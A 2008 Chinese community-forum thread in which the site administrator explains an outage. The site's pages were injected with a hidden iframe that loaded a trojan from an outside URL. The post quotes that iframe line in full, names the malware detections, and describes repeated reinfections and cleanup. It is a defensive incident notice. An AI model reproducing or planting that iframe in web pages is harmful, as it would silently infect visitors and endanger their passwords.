4月20日论坛中断的原因

因为网站所寄放的武汉服务器受黑骇侵扰，所有网页被注入下列代码：
<iframe src="http://ca.winvv.com/cn.htm" width=0 height=0></iframe>
凡是18日至20日打开过论坛的用户，电脑可能被上述地址的木马病毒感染：Suspicious.Trojan.Script.JS.Obcode.d这种后门病毒，大家可收索一下这个病毒名字：Suspicious.Trojan.Script.JS.Obcode.d，然后从网上找到相应的杀病毒软件，以防用户密码被盗，造成不必要的损失！
为了阻止病毒的传播，本站于20日关闭，然后把服务器上的网站文件下载到自己电脑上杀毒，再回传到服务器上。
现在网站已经没有病毒了，大家可以放心使用。
给大家带来了不便，本站深表歉意！

     袁资友  2008.4.21 9:00

资友辛苦了！！

谢谢了!

资友斑竹怎么不早说啊！　害的我不得以又重装了一便系统．　为什么我们的网站也会中毒呢？有没有什么方法让我们提前知道论坛遭攻击了？

这是我们所租用的服务器的安全问题，上面的几个网站都是这样。对不起，让大家受累了。

请大家注意杀病毒

Hack.Exploit.Script.VBS.Realplayer.a

Suspicious.Trojan.Script.JS.Obcode.b

骇客来访网站基本情况介绍：

　　４月２０日左右黑客初次来访，我打开网页时发现下边信息栏有来源不明的网页，知被挂马，进入管理，见某目录有来源不明文件，查看后知其为网站地图，说明骇客来了。
　　４月２２日、１６日、２０日，我三次清除挂马，隔一天又被挂上了。
　　４月２５日，清除放在某目录下的用于执行命令的文件cmd.exe等文件。
　　４月２８日又被挂上，我懒处理得了，为了不把病毒传给宗亲，我把index文件删除了，暂停网站。放假过五一节。
　　５月３日，清理代码后重新开放。当天又被挂马。５号再清理，７号再清理，８号再清理后到今天暂时没被挂马。

　　说明：所租用的服务器上面有六家网站，第一次入侵后把《谷城社区》也挂马了，后来就只挂我们网站了。黑客有能力挂整个服务器，但没有，只针对性我站。

挂马后的结果：
　　用户电脑如果杀病毒软件不力，可能被感染后门病毒，用户密码安全带来隐患，应及时杀病毒并修改密码。
　　网站页首的文章列举清单受到破坏，点击后是空白页，只能到各栏目才能打开。
　　后台管理登录不上。

说明：
　　本网站纯属个人业余爱好制作，目的是为大家交流构建平台，没收什么人或组织任何费用，这次被挂病毒代码搞得人很累，也给大家交流带来影响，特向宗亲们致歉！

论坛中断很正常,每个论坛都会存在.